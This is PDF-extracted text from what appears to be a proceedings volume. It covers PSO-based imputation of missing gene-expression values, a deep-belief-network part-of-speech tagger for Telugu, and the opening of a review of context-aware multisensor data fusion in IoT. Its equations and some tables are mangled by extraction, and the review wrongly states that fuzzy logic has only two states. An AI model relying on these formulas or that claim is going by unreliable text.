8v ffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi
!2ffi9
<u
u1 X m1 X m =
fj ¼ min t xi ð t Þ x0i ðtÞ :
: T i¼1 i¼1
;
70 C. Panse et al.
The above objective function consists of two terms which are difference of
average of gene expression without considering missing values and with consid-
ering random missing value for jth randomly selected row. Where j is the random
row containing missing value in any one of the mth time slots. xi ðtÞ is the ith gene
expression. This means that complete gene data set contains such imputed values
which will minimize following fitness equation:
!
X
k
Fitð f Þ ¼ min fr ;
r¼1
where k is count of rows containing missing values. This fitness function is applied
for 10 % of randomly selected rows containing missing values. Imputed missing
value is the one which will give minimum difference in average gene expressions.
We have executed this algorithm for different numbers of iterations.
2.2 K Nearest Neighbor-Impute Method
In this method, missing gene expression is replaced by weighted average of simi-

larly expressed genes [14]. Similarly expressed genes are found using distance
formula like Euclidean distance, linear distance. If a gene G is having missing value
in ith column then K Nearest Neighbors are chosen from the same column having
no missing expression based on Euclidean distance. In this method, accuracy
depends on number of neighbors. For implementation, we have randomly chosen
10 % of rows and columns and set their expressions to NaN indicating missing
value. By varying number of nearest neighbors, Root Mean Squared Error (RMSE)
is calculated from true value and estimated value.
2.3 Row Average Method
It is same as KNN except instead of identifying K nearest neighbors, missing value

is replaced by average of all gene expressions in the row. It is the simplest method.
Again accuracy is measured in terms of RMSE.
All these methods are evaluating the accuracy on the basis of how closed
imputed value is to the true value of gene expression. But actual accuracy depends
on results of further analysis which includes clustering or identification most sig-
nificant genes in the given data set which will be part of future work.
We have implemented these methods on different data sets. All data sets are
downloaded from GEO website. PSO impute on leukemia data set containing 7210
genes with time series length equals to 30. KNN impute on GSE9-GPL117 series
Table 1 Iterations versus No of iterations Fitness value 10−3

fitness value for PSO impute
200 16.4
500 6.87
800 3.85
1000 3.5
1200 2.79
consisting of E coli gene data base exposed to UV radiation containing 4879 rows
by 7 columns. Out of 4879 genes only those genes are selected which are having
more than 50 % gene expression available.
2.4 Results
PSO-based imputation method requires many parameters to be fixed before

implementation. They include values for constants like cognitive weight (c1) and
social or global weight (c2) which are set to 2 and random variables r1 and r2 are
initialize with random value in the interval [0,1). Table 1 shows result of proposed
method in terms of iterations and value of fitness function. It is observed that as
number of iterations increases value of fitness function decreases. It means differ-
ence in average of gene expressions and average of imputed gene expressions
becoming lesser and lesser as iterations increases from 200 to 1200. Tables 2, 3 and
4 show result of KNN method for varying number of neighbors and for different
probabilities of missing values. Initially we have chosen 5 % of missing values,
then 8 % and then 10 %. Their corresponding RMS errors are depicted in Tables 2,
3 and 4, respectively.
In row average, we have used Leukemia data set which is prepared using same
preprocessing as PSO impute. We have calculated RMS error as
vffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi
!2ffi
u
u1 X r X r
RMSE ¼ t Tv Iv ;
M i¼1 i¼1
P P
where ri¼1 Tv is sum of true values and ri¼1 Iv is sum of imputed values and r is
count of percentage of rows with missing values. Row averaging is giving same
result as PSO impute for one missing value per row. But if missing values per row
are more than one then definitely PSO will overcome row averaging method
because in PSO those missing value are replaced with different imputed values
rather than same unique averaged value. PSO is giving average deviation of 6–7 %
from true values as shown in Fig. 1 with RMSE of 0.443.
KNN impute is giving better result for number of neighbors selected among 10–
12. All three methods i.e., KNN, row averaging, and PSO-based imputation are
72 C. Panse et al.
Table 2 5 % missing values RMS error Neighbors

for KNN
0.506288 8
0.502931 10
0.473448 12
0.483929 14
0.49762 16
0.529987 18
0.568019 20
0.485435 24

for KNN
0.580701 8
0.516638 10
0.442756 12
0.549849 14
0.535561 16
0.523304 18
0.512613 20
0.570066 24

0.66628 8
0.48504 10
0.566824 12
0.5908 16
0.545709 14
0.59271 18
0.58163 20
0.5247 24
based on average of gene expressions in the selected row. Row averaging replaces
all the missing values in single row by unique value. Actual accuracy of these
methods will depend on identification of differentially expressed genes. Consider
the following Table 5 in which we have calculated missing value for randomly
selected gene SLC3A2 from same database given above using all three methods. It
is observed that KNN is generating more accurate value than PSO and PSO is
imputing more accurate value than row averaging.
Fig. 1 Plot of iterations

versus fitness values using
PSO impute
Table 5 Showing difference in actual and imputed value using PSO, KNN, and Row averaging
Method Dataset Gene name Actual Imputed Difference
used value (A) value (I) (A-I)
PSO AML SLC3A2(R:452, 7.9202 7.5792 0.3410
KNN dataset C: 28) 7.9202 7.9097 0.0105
(K = 12)
Row 7.9202 7.5790 0.3412
averaging
*AML—Acute Myeloid Leukemia dataset
3 Conclusion and Future Work
In PSO-based imputation method, we have removed one expression for each ran-
domly selected row. Same is the case for KNN and row averaging. But PSO-based
imputation is giving more accurate value than row averaging for missing expression
as it is starting from random values and selecting that value which is giving min-
imum difference in average. For more than one missing values in same row, it is
imputing different values which is not possible in row average method. One more
advantage of our method is that it does not require complete gene data set at
beginning of imputation unlike SVD, BPCA, and LLS but it is not considering
relation between co-regulated genes for imputation. Imputed value is solely
depended on available values of single gene under consideration.
Accuracy of our proposed method can be improved if we incorporate KNN
along with PSO. Hybrid of PSO and KNN will also consider relation between
co-regulated genes. In future, we can go for multiple missing genes expressions in
the same row. We can also vary percentage of missing rows for different data sets.
We can also apply hybrid method and observe the effect of these methods on
downstream analysis.
74 C. Panse et al.
References
1. Tuikkala, J., Elo, L.L., Nevalainen, O.S., Aittokallio, T.: Missing value imputation improves
clustering and interpretation of gene expression microarray data. BMC Bioinform. 9(202),
1–14 (2008)
2. Kentzoglanakis, Kyriakos, Poole, Matthew: A swarm intelligence framework for
reconstructing gene networks: searching for biologically plausible architectures. IEEE/ACM
Trans. Comput. Biol. Bioinf. 9(2), 358–371 (2012)
3. Ghoneim, V.F., Solouma, N.H.: Evaluation of missing values imputation methods in cDNA
microarrays based on classification accuracy. In: IEEE Conference on Biomedical Engineering
(MECBME), pp. 367–370 (2011)
4. Scheel, I., Aldrin, M., Glad, I.K., Sorum, R., Lyng, H., Frigessi, A.: The influence of missing
value imputation on detection of differentially expressed genes from microarray data.
Bioinformatics 21(23), 4272–4279 (2005)
5. Oba, S., Sato, M., Takemasa, I., Monden, M., Matsubara, K., Ishii1, S.: A Bayesian missing
value estimation method for gene expression profile data. J. Bioinform. 19(16), 2088–2096
(2003)
6. Mandel, J.: Use of singular value decomposition in regression analysis. Am. Stat. 36(1), 15–24
(1982)
7. Shi, F., Zhang, D., Chen, J., Karimi, H.R.: Missing value estimation for microarray data by
Bayesian principal component analysis and iterative local least squares. Hindawi Publish.
Corp. 2013(162938), 1–5 (2013)
8. Jornsten, R., Wang, H.-Y., Welsh, W.J., Ouyang, M.: DNA microarray data imputation and
significance analysis of differential expression. Bioinformatics 21(22), 4155–4161 (2005)
9. Wasito, I.: Least squares algorithms with nearest neighbor techniques for imputing missing
data values. Thesis (2003)
10. Laaksonen, S.: Regression-based nearest neighbour hot decking. Comput. Stat. 15, 65–71
(2000)
11. Brock, G.N., Shaffer, J.N., Blakesley, R.E., Lotz, M.J., Tseng, G.C.: Which missing value
imputation method to use in expression profiles: a comparative study and two selection
schemed. BMC Bioinform. 9(12), 1–12 (2008)
12. del Valle, Y., Venayagamoorthy, G.K., Mahagheghi, S., Hernandez, J.C.: Particle swarm
optimization: basic concepts, variants and applications in power systems. IEEE Trans. Evol.
Comput. 12(2), 171–195 (2008)
13. Kim, H., Golub, G.H., Park, H.: Missing value estimation for DNA microarray gene
expression data: local least squares imputation. Bioinformatics 21(2), 187–198 (2005)
14. Troyanskaya, O., Cantor, M., Sherlock, G., Brown, P., Hastie, T., Tibshirani, R., Botstein, D.,
Altman, R.B.: Missing value estimation method for DNA microarray. Bioinformatics 17(6),
520–525 (2001)
Deep Belief Network Based Part-of-Speech
Tagger for Telugu Language
M. Jagadeesh, M. Anand Kumar and K.P. Soman
Abstract Indian languages have very less linguistic resources, though they have a
large speaker base. They are very rich in morphology, making it very difficult to do
sequential tagging or any type of language analysis. In natural language processing,
parts-of-speech (POS) tagging is the basic tool with which it is possible to extract
terminology using linguistic patterns. The main aim of this research is to do
sequential tagging for Indian languages based on the unsupervised features and
distributional information of a word with its neighboring words. The results of the
machine learning algorithms depend on the data representation. Not all the data
contribute to creation of the model, leading a few in vain and it depends on the
descriptive factors of data disparity. Data representations are designed by using
domain-specific knowledge but the aim of Artificial Intelligence is to reduce these
domain-dependent representations, so that it can be applied to the domains which
are new to one. Recently, deep learning algorithms have acquired a substantial
interest in reducing the dimension of features or extracting the latent features.
Recent development and applications of deep learning algorithms are giving
impressive results in several areas mostly in image and text applications.
Keywords Natural language processing

Deep belief networks Restricted

Boltzmann machine Neural networks POS tagging
M. Jagadeesh (&)
Atlas Healthcare Software India Pvt, Coimbatore, India
e-mail: jagadeesh0813@gmail.com
M. Anand Kumar K.P. Soman
Centre for Excellence in Computational Engineering
and Networking, Amrita Vishwa Vidyapeetham, Coimbatore, India
e-mail: m_anandkumar@cb.amrita.edu

76 M. Jagadeesh et al.
1 Introduction
Besides image processing and speech processing areas, deep learning algorithms
are applied in natural language processing. In 1986, Hinton introduced the dis-
tributed representation for symbolic data, and in 2003, Bengio et al. extended to
statistical language modeling framework. Deep learning is inspired by the func-
tionality of the human biological cortex. It functions in the same way the brain
trains itself to identify things correctly by training data. During the childhood, one
writes the alphabets many times to train our brain and once we have learned, a
model will be created in the brain, with which we can reproduce the same with no
effort. Deep learning algorithm learns the feature hierarchies from the higher level
formed by the composition of lower levels. Purely supervised training is getting
poorer for frameworks with more than 2 or 3 layers because of various random
initializations and gradient descent converged each time to different local minima.
The breakthrough for deep architectures turned up in the year 2006 with the deep
belief network training algorithms by Hinton [1] and stacked auto-encoders.
Auto-encoders used layer-wise unsupervised pretraining trailed by supervised fine
tuning. Unsupervised learning algorithm is used to pre-train each layer to capture
the variations in input. Parts-of-speech tagging of any language can be done using a
rule-based approach like predefining the design representations and tagging each
word or a machine learning approach. This proposed model has two major modules.
First one is the feature reduction or feature learning and the second one is training
the exact features that were extracted in the first module and attached with its tag.
The main aim is the dimensionality reduction of the features using deep learning
algorithm and feeding that filtered features to the training so that it will create a
weight matrix that assists to tag the new words.
2 Related Works
Part-of-speech (POS) tagging is one of the most essential tasks in language pro-
cessing. There were many methods done in history to tag the words. Telugu belongs
to the Dravidian language family, which are morphologically rich and it is difficult
to do sequential tagging. Several machine learning-based POS taggers [2–4] and
morphological analyzers [5–8] are developed for Dravidian languages. Rule-based
approaches are applied to tag the words, but it is not the way the machine learning
algorithms accomplish the task. Statistical approaches like Hidden Markov Model
have been trained by Baum–Welch expectation minimization algorithm [9]. Schmid
[10] trained a single-layer perceptron to label a word as unary vector. Hybrid
approaches which combine rule-based and statistical methods are applied to dis-
ambiguate the POS category of a word. Learning the patterns of many sentences by
any state-of-the-art algorithm and creating a model so as to tag the unseen words.
Bayesian HMM with Gibbs sampling [11] is based on a standard HMM for POS
Deep Belief Network Based Part-of-Speech Tagger … 77
tagging. The action of a pretraining phase of an unsupervised learning was

explained in the literature [12] to regularize and aid to optimization [13].
3 Background
This section explains the foundations of the deep belief networks, restricted
Boltzmann machines, and neural networks where RBM and NN are used inside the
deep belief networks. How RBM is used to reduce the dimension of the input
features.
3.1 Deep Belief Networks
Deep belief networks (DBN), the probabilistic generative models which are com-
binations of several layers of stochastic and latent variables. DBNs are formed by
training the stacked RBMs in a greedy manner. Dependence of variables between
the layers is determined by the DBNs’ layer by layer process for learning the
generative weights. After learning, generative weights are used in turnaround
direction to infer the latent variable values in each layer. A deep hierarchical
representation of the training data has been extracted by using DBN learned model.
Identify the states of the unobserved variables and fine-tune the interactions
between variables to construct the network more likely to generate the observed
data. DBN is a network having two major steps. First one is an unsupervised feature
learning part and the second is the supervised classification part. In an unsupervised
section, stacks of restricted Boltzmann machines are arranged and the feature’s
dimensionality is reduced. Here, in our experiment, two hidden layers, i.e., RBM
layers are used. The last layer is the neural network which is used for creating a
model using labeled data. In Fig. 1, it will have two states of 0 or 1. The probability
of turning on is predicted by the weighted input from other units and a bias.
Fig. 1 Logistic function
In order to obtain the Sigmoid Belief Net, binary stochastic neurons have been
connected in a directed acyclic graph [14]. The sigmoid or logistic function is
shown in Fig. 1, a small prototype of a classifier. Boltzmann machine [15] has been
obtained from connecting binary stochastic neurons using symmetric connections.
Given the visible states, the hidden entities are conditionally independent in RBM.
3.2 Restricted Boltzmann Machines (RBMs)
Restricted Boltzmann machines are probabilistic graphical models that can be

inferred as stochastic neural networks and exploited as generative models of various
types of data which include labeled or unlabeled images [16], a speech data [17], a
bag of words that represent documents [18], and user ratings of movies [19].
Generally, it is trained using the contrastive divergence method.
3.3 Neural Networks
The neural network explored with simple computational units called neurons, which
converse with each other using links. The links between these units associate
themselves with weights or synapses which indicate how strong the relationship
between the two neurons is. The weights can be negative or positive. The com-
putation performed by a neuron depends on the input obtained from other neurons.
The idea is that each input or output signal is a spike of activity in the neuron. These
spikes can be thought of as a logical truth value of a proposition i.e. either 0 (no
activity) or 1 (activity). We can combine these propositions to form Boolean
functions.
4 Methodology
This section describes the data representation and methodology of Telugu POS
tagging using deep belief networks. Here, Telugu sentences are converted into
trigram for learning in RBM. Figure 2 shows architecture or flowchart of the
process followed in order to do sequential tagging.
4.1 Data Collection and Preprocessing
As there is adequate text data on World Wide Web, Telugu text data has been
scrapped from net and cleaned into sentences with delimiters. In order to tag with
Fig. 2 Telugu POS tagging

POS
framework Tagger
Telugu text scrapped from web Model
Tagged data
Unigram Bigram Trigram
Bigram RBM
Matrix
RBM
Left Right
Neural Network
Vector Vector
POS tag, we need representations of the syntactic behavior of a word by its left and
right context. Neighboring contexts are used to identify the feature representation of
a word. The left words of a word are referred as left context vector and the right
words of a word are referred as right context vectors. From the corpus unigrams,
bigrams, and trigrams are collected. Using the bigrams and their count, a bigram
matrix is created with rows as the vocabulary (unigrams) arranged in the decreasing
order of frequency of words occurring in the corpus. The unigrams or vocabulary is
given indices and that words occurring anywhere are replaced with the respective
index. So in a bigram matrix the vocabulary is arranged in a descending order based
on its frequency in corpus. Count of each bigram is there in the matrix formed else
values become zero. This bigram represents the left vector and right vector.
Suppose we consider a word ‘x’ in the bigram matrix, the row of that particular
word is the left vector and the column of that word is the right vector. A word will
have right and left vectors, i.e., features of it in bigram matrix. The trigrams taken
from the corpus is replaced with the right and left vector of the words present. Size
of trigram becomes n * 6V. Where n is the number of trigrams considered and V is
the vocabulary size. Rows will be tokens and columns are features.
4.2 Bigram Matrix Creation
From the collected corpus of 67,861 sentences, unigrams are 113,568 and bigrams
are 421,906. Bigrams are converted into numbers, i.e., the words are represented
with the respective indices given in unigram. A matrix of zeros is formed with the
number of unigrams as the dimension. The unigrams which are in the descending
Table 1 Bigram matrix

Sample bigram matrix
1 1 2811 1271 2 0 291 690 381
11 0 0 0 0 0 0 0 0
0 16 3 0 0 0 1 0 0
0 4 0 0 0 0 0 0 1
0 29 22 5 0 23 7 8 19
0 246 50 21 0 1 21 22 17
0 48 0 0 269 8 0 0 1
0 10 23 7 1 5 8 0 9
0 2 0 0 0 0 0 0 0
Table 2 Trigram matrix representation

Word 1 Word 2 Word 3
Left vector Right vector Left vector Right vector Left vector Right vector
1×n 1×n 1×n 1×n 1×n 1×n
1×n 1×n 1×n 1×n 1×n 1×n
1×n 1×n 1×n 1×n 1×n 1×n
order are given indices based on the frequency count and the bigrams are also
replaced with the indices having also considered its count in the corpus.
Considering every bigram and its count, a bigram matrix is formed with the size
of V, where V is the number of unigrams. Here, first two columns are taken as
(i, j) coordinates in the zero matrixes created and the count is replaced in that
location, shown an example in Table 1. Table 1 illustrates the format of bigram
matrix created from the corpus. Table 2 illustrates how the trigram matrix is rep-
resented using the bigram matrixes, the right vector and left vector. Here, the rows
in the matrix specify the unique words while the columns specify the left vector and
right vectors of the trigrams.
4.3 Trigram Representation Using Bigram Matrix
After creating the bigram matrix, trigrams are taken from the corpus and each word
is represented by its indices in unigram. From the bigram matrix, the rows are
considered as the left context vector and columns are considered as the right context
vector. So for every word in the trigram, the left context vector and the right context
vector is taken and appended. Vectors are normalized individually before
appending into a trigram matrix. The size of context vector can be taken by fixing
threshold value. Each cell in a trigram represents the context vectors. The size of a
trigram will be 6 * n shown in Table 2, where n is the threshold we fix. So it is
constructing the representations of syntactic behavior of a word based on its left and
right context vectors. Our conjecture is that syntactic behavior is reflected in
occurrence patterns.
4.4 Deep Belief Network for Telugu POS Tagging
Let us consider X is an input, the weights in between the visible and first hidden
layer are the latent features of the input features formed by the first hidden layer
RBM1. That latent features are again given to another (RBM2) hidden layer shown
in the Fig. 3, where weights are calculated, i.e., the latent features are extracted from
the weights calculated by the RBM1 layer. Up to the last but one layer it is
supervised learning. The last layer is the neural network layer; it is given extracted
latent features and tags. NN will create a model or classifier after training the
network. NN parameters are fixed experimentally by trial and error.
5 Experiments and Results
We are using three hidden layers in our experiment as shown in the Fig. 3. The first
RBM layer size is fixed to 200 neurons and the second RBM layer is fixed to 100
neurons. But with 100 as a size of the both RBM layers, the weights between the
two RBM layers try to form an identity matrix which replicates the same data in the
first RBM layer into the second RBM layer. In the third layer, neurons size is fixed
to 21, number of classes. From the data we have, 80 % is used for training and
remaining 20 % is kept for testing; the number of examples for training and testing
are shown in the Table 3. Here, training the classification model needs sufficient
amount of training data so that all the classes can be classified with high accuracy.
The first visible layer size will depend on the threshold given for vocabulary, i.e.,
size of the features given to the network. With different epochs (iterations) and
thresholds, accuracy is calculated, which is shown in the Fig. 4. By inferring Fig. 4
or Table 4, when there is an increase in the threshold of vocabulary, there will be a
minor increase in accuracy, as the feature information given as input is increased.
Fig. 3 Deep learning layers x RBM 1 RBM 2

Output layer
w2
w1 w3
Table 3 Threshold and Threshold # Training # Testing

number of examples
100 5878 1480
200 6865 1726
300 7489 1883
400 7899 1990
Fig. 4 Threshold and epochs 85

effect on accuracy 80
75
70
Accuracy
65 Threshold
100
60
200
55
300
50
400
45
40
50 100 200 400 600 800 1000 1300 1500
Epochs
Table 4 Accuracy with Threshold/epochs 100 200 300 400

different epochs and threshold
50 52.64 53.19 63.89 44.32
100 54.66 57.36 75.57 55.73
200 62.91 60.83 79.61 62.21
400 68.65 71.55 80.56 67.14
600 72.77 76.54 81.20 69.55
800 73.85 77.11 81.73 71.86
1000 76.42 77.98 79.61 73.62
1300 77.50 78.74 77.96 74.57
1500 76.82 77.29 79.00 78.56
Just by increasing the number of features or threshold, the accuracy will not
increase, but it depends on the number of epochs, batch size, and the size of the
hidden units of deep belief networks too. Batch size also affects the accuracy. As a
result of numerous trials, we can say that a moderate batch size will give good
accuracy, but neither high nor low batch size will give good results.
With an increase in the size of input features, the number of epochs has to be
increased in order to attain a good dimensionality reduction and attain a model. So,
by increasing the input features we cannot expect the output to be better, but with
more epochs, accuracy will increase. For every input data having certain threshold,
the output will diverge from better output with an increase in number of epochs.
Increase in the input features will give a better output, but for training the model is
time consuming as it is necessary to increase the number of epochs with respect to
the size of input features.
6 Conclusions
In this paper, we present the Telugu POS tagger using the deep learning technique.
At our knowledge, this is an initial attempt that deep learning approach has been
applied to Indian language processing. Preliminary results are encouraging and this
result can be further enhanced by fine tuning the parameters. This context-based
method can be applied to any sequence learning problem in natural language
processing like word sense disambiguation, POS tagging. data creation, which
includes many floating operations, computationally high cost, which can be reduced
with GPU. Deep learning techniques are attaining more prominence in text pro-
cessing. This work can be further exceeded to form morphological analyzer and
other NLP tasks.
References
1. Hinton, G.E., Salakhutdinov, R.R.: Reducing the dimensionality of data with neural networks.
Science 313(5786), 504–507 (2006)
2. Dhanalakshmi, V., Anandkumar, M., Vijaya, M.S., Loganathan, R., Soman, K.P., Rajendran,
S.: Tamil part-of-speech tagger based on SVMTool. In: Proceedings of the COLIPS
International Conference on natural language processing (IALP), Thailand (2008)
3. Antony, P.J., Mohan, Soman, K.P.: SVM based part of speech tagger for Malayalam. In:
Recent Trends in Information, Telecommunication and Computing (ITC) (2010)
4. Binulal, G., Sindhiya, P., Goud, A., Soman, K.P. A SVM based approach to Telugu parts of
speech tagging using SVMTool. Int. J. Recent Trends Eng. 1(2), 166–169 (2009)
5. Dhanalakshmi, V., Anand Kumar, M., Rekha, R.U., Arun Kumar, C., Soman, K.P.,
Rajendran, S.: Morphological analyzer for agglutinative languages using machine learning
approaches. Adv. Recent Technol. Comm. Comput. 433–435 (2009)
6. Anand Kumar, M., Dhanalakshmi, V., Soman, K.P., Rajendran, S.: A sequence labeling
approach to morphological analyzer for tamil language. Int. J. Comput. Sci. Eng. 2(6), 1944–
1951 (2010)
7. Kiranmai, S., Mallika, G.K., Anand Kumar, M., Dhanalakshmi, V., Soman, K.P.:
Morphological analyzer for Telugu using support vector machine. In: Information and
Communication Technologies, pp. 430–433, Springer, Berlin (2010)
8. Abeera, V.P., Aparna, S., Rekha, R.U., Anand Kumar, M., Dhanalakshmi, V. Soman, K.P.,
Rajendran, S.: Morphological analyzer for Malayalam using machine learning. In: Data
Engineering and Management, pp. 252–254. Springer, Berlin (2012)
9. Rabiner, Lawrence R.: A tutorial on hidden markov models and selected applications in
speech recognition. Proc. IEEE 77(2), 257–286 (1989)
10. Schmid, H.: Part-of-speech tagging with neural Networks. In: Proceedings of the International
Conference on Computational Linguistics, pp. 172–176 (1994)
11. Goldwater, S., Griffiths, T.: A fully Bayesian approach to unsupervised part-of-speech tagging.
Annu. Meet.-ACL. 45(1), 744 (2007)
12. Erhan, D., et al.: Why does unsupervised pre-training help deep learning? J. Mach. Learn. Res
11, 625–660 (2010)
13. Bengio, Y., et al.: Greedy layer-wise training of deep networks. Adv. Neural Inf. Proc. Syst.
19, 153 (2007)
14. Neal, Radford M.: Connectionist learning of belief networks. Artif. Intell. 56(1), 71–113
(1992)
15. Rumelhart, D.E., Hinton, G.E., Williams, R.J.: Learning representations by back-propagating
errors. In: Cognitive Modeleling (1988)
16. Raina, R., et al.: Self-taught learning: transfer learning from unlabeled data. In: Proceedings of
the 24th International Conference on Machine Learning. ACM (2007)
17. Mohamed, A., et al.: Deep belief networks using discriminative features for phone recognition.
In: Acoustics, Speech and Signal Processing (ICASSP) (2011)
18. Salakhutdinov, R., Hinton, G.E.: Deep boltzmann machines. In: International Conference on
Artificial Intelligence and Statistics (2009)
19. Salakhutdinov, R., Mnih, A., Hinton, G.: Restricted Boltzmann machines for collaborative
filtering. In: Proceedings of the 24th International Conference on Machine Learning. ACM
(2007)
On Context Awareness for Multisensor
Data Fusion in IoT
Shilpa Gite and Himanshu Agrawal
Abstract With the advances in sensor technology, data mining techniques and the
internet, information and communication technology further motivates the devel-
opment of smart systems such as intelligent transportation systems, smart utilities
and smart grid. With the availability of low cost sensors, there is a growing focus on
multi-sensor data fusion (MSDF). Internet of Things (IoT) is currently connecting
more than 9 billion devices. IoT includes the connectivity of smart things which
focuses more on the interactions and interoperations between things and people.
Key problem in IoT middleware is to develop efficient decision level intelligent
mechanisms. Therefore, we focus on IoT middleware using context-aware mech-
anism. To get automated inferences of the surrounding environment, context -aware
concept is adopted by computing world in combination with data fusion. We
conduct a comprehensive review on context awareness for MSDF in IoT and
discuss the future directions in the area of context-aware computing.
Keywords Context-aware system Multisensor data fusion Dempster–Shafer

theory, IoT
1 Introduction
The concept of the internet of things (IoT) originated in the Auto-ID Center at the
Massachusetts Institute of Technology in 1999 [1]. Kevin Ashton had imagined a
world in which all electronic devices are networked and every object, whether
physical or electronic, is electronically tagged with information applicable to that
object. The underlying aim of this concept is the achievement of pervasive
S. Gite (&) H. Agrawal

CS/IT Department, SIT, Symbiosis International University, Pune, India
e-mail: shilpa.gite@sitpune.edu.in
H. Agrawal
e-mail: himanshu.agrawal@sitpune.edu.in

86 S. Gite and H. Agrawal
connections between the internet and objects around us. It is perfect assimilation of
real-world objects with logical things [2].
Multi-sensor data fusion system is analogous to human who can sense the
environment with the help of their sensory organs like nose, ears, skin, etc. and
make correct inferences about their surroundings [3]. Multisensor data fusion refers
to the comprehensive fusing of sensory data from multiple sensors and related
information in order to provide more reliable and accurate information that could be
achieved using a single, independent sensor [4]. Sensor fusion technology was
primarily developed for Military surveillance research and robotics by US DoD.
Later, it has got commercially wider acceptance in the areas, such as intelligent
transport system, geographic information, land and ocean surveillance, robotics,
data and information security, medical surveillance, diagnosis, etc. [5, 6]. The only
way to gain the required amount of information with the expected intelligence is
viable with the help of multisensors data fusion approach [7].
Paper is organized as follows: In Sect. 2, MSDF and its various techniques are
studied thoroughly. Section 3 deals with context-aware systems and its application
scenario. In Sect. 4, we present Intelligent MSDF model, which takes decisions on
user’s behalf depending on current context. In Sect. 5, we conclude and provide
future directions.
2 Overview of Multisensor Data Fusion Techniques
MSDF plays a key role in providing improved probability of detection, extended

spatial and temporal coverage, reduced ambiguity, and improved system reliability
and robustness [7]. Being multilevel process, it helps users to make decisions in
complicated scenarios. It can have steps like automatic detection of objects, asso-
ciation and correlation with existing things, future estimation, and combination of
data from single and multiple information sources [8].
Multisensor data fusion can be performed [9] by using four main ways:
(a) Using Kalman Filter–Kalman filter, which is named after Rudolf E. Kalman
who proposed a linear data filtering algorithm in his famous paper in 1960
[10]. This is considered as one of the most well-known methods for
data/sensor fusion algorithms. The results of data fusion process further can be
improved with the help Advance Kalman Filter. Kalman equation is mostly
used for location tracking, however, it has limitation in its capacity to identify
the variety of contextual circumstances [11, 12].
(b) Using Neural Network Theory—The neural network deals with the mathe-
matical modeling of nonlinear data (neurons). It can process data based on
accumulated learning experience which is past analyzed data and it takes more
processing time to produce results. Swift context inference and fast response to
rapid changes can hardly be the area of the theory [13].
On Context Awareness for Multisensor Data Fusion in IoT 87
(c) Using Fuzzy Theory—Fuzzy logic deals with only two states: True/False.
There are some problems in the multitarget tracking using multisensor data
association with the conventional non-Bayesian or Bayesian method. In
addition to some specific limitations of priori condition, such an association
could not perform well under a high clutter tracking environment [14].
(d) Using Bayesian Theory probability theory- It has the advantage of when
multisource information is available. Allocating belief to subsets of the uni-
versal set and a combination rule that is able to combine multisource evidence.
This is an exceptional virtue for making decisions (Fig. 1).
Sensor Level Feature Level Decision Level
Fig. 1 Overview of MSDF techniques
Table 1 Comparative analysis of MSDF techniques

MSDF Advantages Limitations
technique
Kalman Filter • Easy implementation • Accuracy issues
[10–12] • Efficient in terms of computation • Too many state vector
• Most useful components result in a significant
• Sequential method computational overhead
Extended • More efficient than Kalman Filter • High computational complexity
Kalman filter • Works well in nonlinear and • Unstable results in small time
[9] non-Gaussian uncertainty problems durations
Covariance • Easy to use and implement • Conflicting behavior in some
methods [18, • Result accuracy cases
19] • Effective for decentralized data fusion
Support • Effective for heterogeneous sensor data • Sensitive to noise
vector • Better results for inconsistent sensor • Text categorization problems are
machine [16, data linearly separable
20]
Artificial • Handles non-linear data • High complexity
neural • Efficient for heterogeneous sensor data • Unreliable results in some cases
network [13] • Good for high-level inference • Slow context inference
(continued)
Table 1 (continued)
MSDF Advantages Limitations
technique
Clustering • Can perform well under a high clutter • Computational overhead
analysis [21] tracking environment. • Cluster head formation is a
• Generates result of multitarget tracking difficult process
using multisensor data association
Bayesian • Works well when multi-source • High memory requirements
network information is available • Consumes longer time before
[15, 22] • Can combine multi-source evidence producing a result
• Appropriate methods for high-level
inference
Fuzzy theory • Decision based methods • Results may be doubtful.
[14] • Fast response to rapid changes • More computational efforts
• Useful for contextual representation
Dempster– • Decision based method • Computational complexity
Shafer theory • Deals with statistical problems or to increases as no. of sensors
[20, 23] model uncertainties increase
• Can draw good inference with less • Belief and probability may differ
available sensor data sometimes
• Adds a new flavor to safety and
reliability modeling compared to
probabilistic approaches
• Powerful tool to assign uncertainty or
ignorance to propositions
• More flexible than probabilistic
approaches
Table 1 shows a comparative analysis of various MSDF techniques which are

most frequently used and efficiently utilized in all kind of applications nowadays.
Each technique has some pros and cons, so depending on the application area,
particular technique is used.
3 Context-Aware Systems
The term Context was defined first in 1994 by Schilit and Theimer [16].
Context-aware systems are basically self-aware systems, which have the capability
of judgement of the surroundings, inference mechanism and accordingly take
decisions without human intervention. Depending on the current context, an
automated response is generated. Figure 2 shows a big picture of context which
covers all perspectives of a context. Context covers location of the objects or
person, identify of a person, time information, activity, environment information or
constitution information, etc. in order to get all kind of details about users’ sur-
roundings [17].
Physiological info,
Emotional status, Persona
Time information Geographical
Schedules & & Spatial info,
agendas Location
Behaviour
Time Location
Context
Activities Identity
Environment
User profile
Current Actions,
info, Social
Ongoing Tasks,
profile
Physical activities
Measurements of parameters,
Technological & Resources
Fig. 2 Big picture of context
Context-aware process follows a series of subprocesses like context acquisition,

context processing, and context usage. In context acquisition, with the help of
sensors, data like pressure, temperature, etc. would be captured and further sent to
improvement. In the next stage of context processing, four activities are involved,
such as Noise removal, data calibration, context interpretation, and context pre-
diction. In noise removal process, unnecessary sensor data and noise would be
removed out with the help of filters like Kalman or Extended Kalman filter so that
only required and useful data would be efficiently passed further. Data calibration
deals with the updating or correction of a device. It is basically comparison with
standard values which are previously established. Context interpretation deals with
understanding and analysis of contextual data which is self-aware kind of process.
And context prediction is basically prediction process which is based on prior
estimates. Thus with these four activities, effective context processing takes place
[16].
Figure 3 shows real-time (actual) working diagram of context-aware process. In
real-time scenario, how data is captured by various sensors and then further pro-
cesses like data processing, data fusion, and context inference take place. After
getting a model ready for context-aware system, it is applied to various application
areas like intelligent transportation system (ITS), road-traffic monitoring, biomed-
ical applications, robotics, surveillance etc.
Fig. 3 Real-time diagram of context-aware process
4 Proposed Intelligent MSDF System
Hereby, we are proposing a novel MSDF approach for context-aware systems. The
concept of applying intelligence to fused sensor data in order to produce
context-aware inference has the novelty in computing field. Lower level data
processing involves with data filtering whereas at the higher level intelligence on
gathered and processed data takes place. It is basically a five-step process, which
includes data collection, filtering process, situation analysis, decision making and
